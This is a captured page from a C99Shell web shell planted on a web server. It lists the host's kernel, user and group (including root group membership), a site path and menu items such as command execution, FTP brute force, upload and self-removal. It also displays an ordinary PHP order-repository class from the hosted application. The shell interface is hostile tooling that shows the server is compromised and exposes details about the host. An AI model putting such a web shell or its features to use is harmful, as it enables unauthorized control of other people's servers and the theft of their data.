!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Repositories/Orders/   drwxr-xr-x
Free 26.6 GB of 117.98 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderRepoGenerator.php (2.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Repositories\Orders;

class 
OrderRepoGenerator extends BaseOrderRepository
{

   
    public static function 
makeOrderRepo($vendor_id,$request,$expedition,$hasPayment,$isStripe,$isMobile=false,$vendorHasOwnPayment=null,$serviceType=null){


        
//Find the type
        
if($serviceType==null){
            
$serviceType=$isMobile?"MobileApp":"WebService"//FT
            
if(config('app.isqrsaas')){
                if(
config('settings.is_whatsapp_ordering_mode') ||config('settings.is_facebook_ordering_mode')){
                    
$serviceType="Social";//Whatsapp and FB
                
}else if(config('app.issd')){
                    
$serviceType="SocialDrive";//SocialDrive
                
}else if(config('app.isdrive')){
                    
$serviceType="SocialDrive";//SocialDrive
                
}else if(config('settings.is_pos_cloud_mode')||(auth()->user()!=null&&auth()->user()->hasRole('staff'))){
                    
$serviceType="POS";//POS
                
}else if(config('settings.is_agris_mode')){
                    
$serviceType="PD";//PD - Pickup deliver
                
}else{
                    
$serviceType="Local";//QR
                
}
            }else if(
$request->has('issd')){
                
$serviceType="SocialDrive";//SocialDrive in FT
            
}
        }
        
        if( 
$serviceType=="Social"||$serviceType=="POS"||$serviceType=="SocialDrive"){
                
//In Social and POS we have charging directly by restaurant
                
if($vendorHasOwnPayment!=null){
                    
$hasPayment=true;
                    
$request->payment_method=$vendorHasOwnPayment;
                }
        }

        
//Expedition
        
$expeditionType="Delivery";
        if(
$expedition=="pickup"){
            
$expeditionType="Pickup";
        }else if(
$expedition=="dinein"){
            
$expeditionType="Dinein";
        }

        
//Payment
        
$paymentType="COD";
        if(
$hasPayment){
            if(
$isStripe){
                
$paymentType="Stripe";
            }else {
                
$paymentType="LinkPayment";
            }
        }

        
//Class
        
$generatedClass='App\Repositories\Orders\\'.$serviceType."\\".$expeditionType.$paymentType."Order";
        return new 
$generatedClass($vendor_id,$request,$expedition,$hasPayment,$isStripe);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--